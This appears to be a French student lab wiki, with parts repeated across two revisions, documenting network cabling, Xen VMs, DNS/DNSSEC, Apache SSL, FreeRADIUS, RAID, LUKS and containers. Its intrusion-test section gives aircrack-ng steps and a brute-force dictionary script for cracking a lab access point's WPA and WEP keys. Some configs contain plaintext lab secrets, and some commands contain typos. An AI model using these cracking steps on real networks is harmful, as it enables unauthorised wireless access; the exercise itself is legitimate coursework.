File:TableVlansInterfacesSR52.jpg

File:LedSR52.jpg

</gallery>

*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''

En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.

===Connexion des commutateurs aux routeurs===

*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''

Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.

*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''

Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.

*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''

La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.

*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''

La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.

===Connexions au serveur Cordouan===

Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM.

*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''

Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.

*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''

Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.

===Connexion des commutateurs aux points d'accès===

===Schéma résumant le câblage réalisé :===

[[Fichier:ArchitectureMehCret.png|1200px]]

== 2.Installation des systèmes d'exploitation==

===Création de la machine virtuelle===

Création d'une machine virtuelle sur cordouan.insecserv.deule.net :

xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen

Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg

vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']
xen create hercule.cfg

On vérifie que la machine est bien créée en s'y connectant :

xl console hercule

Création des partitions logiques sur Cordouan pour la machine virtuelle :
lvcreate -L 10G -n /dev/virtual/hercule-home -v
lvcreate -L 10G -n /dev/virtual/hercule-var -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :
'phy:/dev/virtual/hercule-home,xvdb1,w',
'phy:/dev/virtual/hercule-var,xvdb2,w'

On relance la VM.
On formate les disques créés sur la machine :
mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdb2

Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :
/dev/xvdb1 /home ext4 defaults 0 2
Puis on effectue le montage :
mount -a

Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire :
mount /dev/xvdb2 /mnt

On déplace ensuite le contenu de var dans le point de montage précédemment créé :
mv /var/* /mnt

Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :
/dev/xvdb2 /var ext4 defaults 0 2

On applique les modifications :
mount -a

==4.Services internet==

===Serveur DNS===

Achat du domaine hercule.pw sur gandi.

Installation de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.hercule.space. root.hercule.space (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.hercule.space.
IN NS ns6.gandi.net
@ IN A 193.48.57.183
ns IN A 193.48.57.183
www IN A 193.48.57.183

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/db.hercule.space";
allow-transfer {217.70.177.40;};
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

Redémarrage du serveur bind9 :
service bind9 restart

Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP :
name : ns.hercule.space
IP address : 193.48.57.183

Changement du nameserver principal sur Gandi (A FAIRE):
DNS 1 : ns.hercule.space

On laisse ceux de Gandi pour les deux serveurs esclaves

ZONES INVERSES A FAIRE

===DNSSEC===

Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :
dnssec-enable yes;

Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs

Création de la clef asymétrique de signature de clefs de zone :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space
:
Création de la clef asymétrique de la zone pour signer les enregistrements :

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space

On renomme ces clef :
hercule.space-ksk.key
hercule.space-zsk.key

Puis on les inclus dans le fichier /etc/bind/db.hercule.space
$include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key
$include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key

On signe les enregistrements de la zone :
dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk

On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :
file "/etc/bind/db.hercule.space.signed";

On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.

===Serveur Apache===

Création du dossier /var/www/www.hercule.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf

<VirtualHost 193.48.57.183:443>
ServerName www.hercule.space
ServerAlias hercule.space
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt
SSLCertificateKeyFile /etc/ssl/private/hercule.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

<VirtualHost 193.48.57.183:80>
ServerName www.hercule.space
ServerAlias hercule.space
Redirect / https://www.hercule.space
</VirtualHost>

Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :

Listen 80 443

On active enfin le module SSL, notre site, et on redémarre le service apache :
a2enmod ssl
a2ensite hercule.space.conf
service apache2 restart

===Serveur Freeradius===

Installation de Freeradius sur la vm :
apt-get install freeradius

On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute :
hercule Cleartext-Password := "glopglop"

Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers :

- /etc/freeradius/3.0/mods-enabled/eap :
default_eap_type = peap

- /etc/freeradius/3.0/mods-enabled/mschap :
use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :
client 192.168.0.10/32
{
secret = secretIMA5SC
shortname = borneDivinite
}

client 192.168.0.11/32
{
secret = secretIMA5SC
shortname = borneDivinite
}

On met à jour la configuration :
ldconfig

== 5. Tests d'intrusion ==
===Crackage de clé WPA===

Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:

$ airmon-ng start wlp2s0

Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :

$ airodump-ng wlp2s0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon

Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :

#!/bin/bash
charset=({0..9})
permute(){
(($1 == 0)) && { echo "$2"; return; }
for char in "${charset[@]}"
do
permute "$((${1} - 1 ))" "$2$char"
done
}
permute "$1"

Que nous laçons en exécutant :

$ ./comb.sh 8 >> dictionnaire.txt

Le crack est effectué en lançant la commande :

$ aircrack-ng -a2 -b 04:DA:D2:9C:50:56 -w /path_to_file/dictionnaire.txt /path_to_file/*.cap

Nous récupérons la clé après quelques heures de calcul :

[[Fichier:Crack groupe7.png|600px]]

===Cassage de clé WEP===

Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:

$ airmon-ng start wlx40a5ef012c92

Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :

$ airodump-ng --encrypt wep wlan0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon

En parallèle, on simule une connexion au point d'accès pour récupérer le handshake :
$ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon

On réalise le cassage :
$ aircrack-ng ./path_to_folder/cracotte07.cap

[[Fichier:cassagewep07.png|600px]]

== 6. Réalisation ==

===6.1 Sécurisation de données===

Création de trois partitions LVM de 1Go sur Cordouan :
lvcreate -L 1G -n /dev/virtual/hercule1 -v
lvcreate -L 1G -n /dev/virtual/hercule2 -v
lvcreate -L 1G -n /dev/virtual/hercule3 -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :

'phy:/dev/virtual/hercule1,xvdc1,w',
'phy:/dev/virtual/hercule2,xvdc2,w',
'phy:/dev/virtual/hercule3,xvdc3,w'

Installation du paquetage mdadm pour réaliser le RAID5 logiciel :
apt-get install mdadm

Création du RAID5 :
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3

On formate le RAID créé :
mkfs -t ext4 /dev/md0

On monte le RAID dans notre VM :
mount /dev/md0 /mnt

On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.
On relance la VM. Puis on essaye de remonter le RAID :
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande :
cat /proc/mdstat
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier :
mount /dev/md127 /mnt
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.

[[Fichier:Raidhercule.png|600px]]

===6.1 Cryptage de données===

Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :

$ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v

Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :

$ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1

Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.

Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :

$ cryptsetup luksOpen /dev/xvdd1 home

Nous la formatons en ext4 :

$ mkfs -t ext4 /dev/mapper/home

Enfin, nous montons la partition sous /mnt :

$ mount -t ext4 /dev/mapper/home /mnt

Nous y créeons ensuite un fichier texte.

Fichier:ArchitectureMehCret.png

2018-12-21T17:47:24Z

Nmehanna : Nmehanna a téléversé une nouvelle version de Fichier:ArchitectureMehCret.png

TP sysres IMA5sc 2018/2019 G7

2018-12-17T16:49:43Z

Nmehanna : /* 6. Réalisation */

= Wiki de TP =

=TP GIS=

==Conteneurs "à la main"==

===Mise en place des conteneurs===

*'''Création d'une partition''':
dd if=/dev/zero of=/disk1 bs=1024K count=10240

*'''Formatage''' :
mtfs.etx4 /disk1

*'''Montage de la partition''':
mount /disk1 /mnt

*'''Installation d'un système Debian''':
debootstrap --include=apache2,nano stable /mnt

*'''Préparation du montage du pseudo système de fichier /proc''':
echo "proc /proc proc defaults 0 0" >> rootfs/etc/fstab

*''' Démontage ''':
umount /mnt

*'''Copie en 2 exemplaires''':
cp /disk1 /disk2
cp /disk1 /disk3

*'''Montage des 3 partitions :'''
mount -oloop /disk1 /mnt/dsk1
mount -oloop /disk2 /mnt/dsk2
mount -oloop /disk3 /mnt/dsk3

*'''Création du processus isolé par unshare''':
unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c "mount /proc ; /bin/bash"

===Configuration réseau===
*'''Création d'un commutateur logiciel''':
ip link add mehcret2 type bridge

*'''Création des interfaces virtuelles:'''
ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

*'''Ajout d'interfaces dans le commutateur :'''
ip link set vif1 master mehcret2
ip link set vif2 master mehcret2
ip link set vif3 master mehcret2
ip link set vif4 master bridge

*'''Activation des interfaces''':
ip link set eth0 up
ip link set eth1 up

*'''Récupération du PID des conteneurs :'''
ps auxwww | grep unshare

*'''Ajout des interfaces dans les conteneurs :'''
ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)
ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)
ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)
ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)

*'''Activation du pont:'''
ip address add dev mehcret2 192.168.60.0/24

*'''Attribution des adresses:'''
ip address add dev eth0 192.168.60.51/24 (dsk1)
ip address add dev eth0 192.168.60.52/24 (dsk2)
ip address add dev eth0 192.168.60.53/24 (dsk3)
ip address add dev eth1 172.26.145.67/24 (dsk2)
ip route add default via 172.26.145.254 (dsk2)

*'''Activation :'''
ip link set eth0 up
ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set vif4 up
ip link set mehcret2 up

On peut désormais pinger entre les différents conteneurs.

===Configuration des serveurs Web===

Nous devons maintenant mettre en place les serveurs apache.

Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants :

- mndtMehcret A 172.26.145.67 (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)

- web1Mehcret CNAME mndtMehcret (Serveur web du conteneur 1)

- web2Mehcret CNAME mndtMhecret (Serveur web du conteneur 3)

On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :

<VirtualHost *:80>
ServerName web1mehcret.plil.space
Options Indexes FollowSymLinks
DocumentRoot /var/www/html/web1mehcret/
</VirtualHost>

On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web.

Il faut maintenant mettre en place le reverse proxy.
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :

<VirtualHost *:80>
ServerName mndtMehcret.plil.space
ProxyPass "/web1" "http://192.168.60.51/"
ProxyPassReverse "/web1" "http://192.168.60.51/"
ProxyPass "/web2" "http://"http://192.168.60.53/"
ProxyPassReverse "/web2" "http://192.168.60.53/"
</VirtualHost>

Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.

Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :

$ service apache2 restart

Pour utiliser apache en mode reverse proxy, on execute la commande :

$ a2enmod proxy proxy_http

11h25 : Serveurs Web unshare OK

==Conteneurs Docker==

Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.
Nous exécutons ensuite la commande :
$ iptables-save
Puis on redémarre le service Docker :
$ service docker restart

Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.

Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :
$ docker run -i -t debian

Dans le conteneur, nous ajoutons le proxy de l'école :
$ export http_proxy=http://proxy.polytech-lille.fr:3128/

Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:
$ apt-get update
$ apt-get install apache2, nano, vim

On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires :

$ docker commit [IDduConteneur] mehcret

On créé un réseau Docker pour isoler nos conteneurs ensemble :

$ docker network create --driver bridge mehcretnetwork

Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine :

$ docker run -i --network mehcretnetwork --name mehcret1 mehcret
$ docker run -i --network mehcretnetwork --name mehcret2 mehcret
$ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret

Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.

10h30 Serveurs Web (docker) OK

=TP PRA=

Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.

==Tâche 5 : Câblage, connexion SR52, cordouan==

===Connexion des routeurs au réseau de l'école===

*'''Connexion SR52 - Routeur ISR4221 (E306)'''

Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.

Sur le routeur, on passe le port 21 sur le vlan 131 :

config t
int gi1/0/21
switchport access vlan 131
write

En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.

Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :

<gallery mode="nolines" widths=500px heights=400px>

File:TableVlansInterfacesSR52.jpg

File:LedSR52.jpg

</gallery>

*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''

En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.

===Connexion des commutateurs aux routeurs===

*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''

Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.

*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''

Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.

*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''

La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.

*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''

La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.

===Connexions au serveur Cordouan===

Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM.

*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''

Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.

*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''

Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.

===Connexion des commutateurs aux points d'accès===

===Schéma résumant le câblage réalisé :===

[[Fichier:ArchitectureMehCret.png|1500px]]

== 2.Installation des systèmes d'exploitation==

===Création de la machine virtuelle===

Création d'une machine virtuelle sur cordouan.insecserv.deule.net :

xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen

Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg

vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']
xen create hercule.cfg

On vérifie que la machine est bien créée en s'y connectant :

xl console hercule

Création des partitions logiques sur Cordouan pour la machine virtuelle :
lvcreate -L 10G -n /dev/virtual/hercule-home -v
lvcreate -L 10G -n /dev/virtual/hercule-var -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :
'phy:/dev/virtual/hercule-home,xvdb1,w',
'phy:/dev/virtual/hercule-var,xvdb2,w'

On relance la VM.
On formate les disques créés sur la machine :
mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdb2

Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :
/dev/xvdb1 /home ext4 defaults 0 2
Puis on effectue le montage :
mount -a

Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire :
mount /dev/xvdb2 /mnt

On déplace ensuite le contenu de var dans le point de montage précédemment créé :
mv /var/* /mnt

Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :
/dev/xvdb2 /var ext4 defaults 0 2

On applique les modifications :
mount -a

==4.Services internet==

===Serveur DNS===

Achat du domaine hercule.pw sur gandi.

Installation de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.hercule.space. root.hercule.space (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.hercule.space.
IN NS ns6.gandi.net
@ IN A 193.48.57.183
ns IN A 193.48.57.183
www IN A 193.48.57.183

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/db.hercule.space";
allow-transfer {217.70.177.40;};
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

Redémarrage du serveur bind9 :
service bind9 restart

Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP :
name : ns.hercule.space
IP address : 193.48.57.183

Changement du nameserver principal sur Gandi (A FAIRE):
DNS 1 : ns.hercule.space

On laisse ceux de Gandi pour les deux serveurs esclaves

ZONES INVERSES A FAIRE

===DNSSEC===

Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :
dnssec-enable yes;

Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs

Création de la clef asymétrique de signature de clefs de zone :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space
:
Création de la clef asymétrique de la zone pour signer les enregistrements :

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space

On renomme ces clef :
hercule.space-ksk.key
hercule.space-zsk.key

Puis on les inclus dans le fichier /etc/bind/db.hercule.space
$include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key
$include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key

On signe les enregistrements de la zone :
dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk

On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :
file "/etc/bind/db.hercule.space.signed";

On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.

===Serveur Apache===

Création du dossier /var/www/www.hercule.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf

<VirtualHost 193.48.57.183:443>
ServerName www.hercule.space
ServerAlias hercule.space
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt
SSLCertificateKeyFile /etc/ssl/private/hercule.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

<VirtualHost 193.48.57.183:80>
ServerName www.hercule.space
ServerAlias hercule.space
Redirect / https://www.hercule.space
</VirtualHost>

Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :

Listen 80 443

On active enfin le module SSL, notre site, et on redémarre le service apache :
a2enmod ssl
a2ensite hercule.space.conf
service apache2 restart

===Serveur Freeradius===

Installation de Freeradius sur la vm :
apt-get install freeradius

On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute :
hercule Cleartext-Password := "glopglop"

Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers :

- /etc/freeradius/3.0/mods-enabled/eap :
default_eap_type = peap

- /etc/freeradius/3.0/mods-enabled/mschap :
use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :
client 192.168.0.10/32
{
secret = secretIMA5SC
shortname = borneDivinite
}

client 192.168.0.11/32
{
secret = secretIMA5SC
shortname = borneDivinite
}

On met à jour la configuration :
ldconfig

== 5. Tests d'intrusion ==
===Crackage de clé WPA===

Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :

$ airmon-ng start wlp2s0mon

Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :

$ airodump-ng wlp2s0mon

